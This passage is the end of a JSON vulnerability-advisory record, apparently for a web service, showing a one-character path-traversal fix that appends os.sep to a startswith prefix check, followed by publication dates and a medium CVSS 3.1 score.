file_path.startswith(os.path.abspath(CACHE_DIR) + os.sep):\n    raise HTTPException(status_code=404, detail='File not found')\n```\n\nSingle character fix: append `os.sep` to the prefix in the `startswith` check.","status":"published","published":"2026-07-13T15:46:19.512355Z","modified":"2026-07-13T16:32:16.467683319Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T15:52:55.961245Z"}]}}
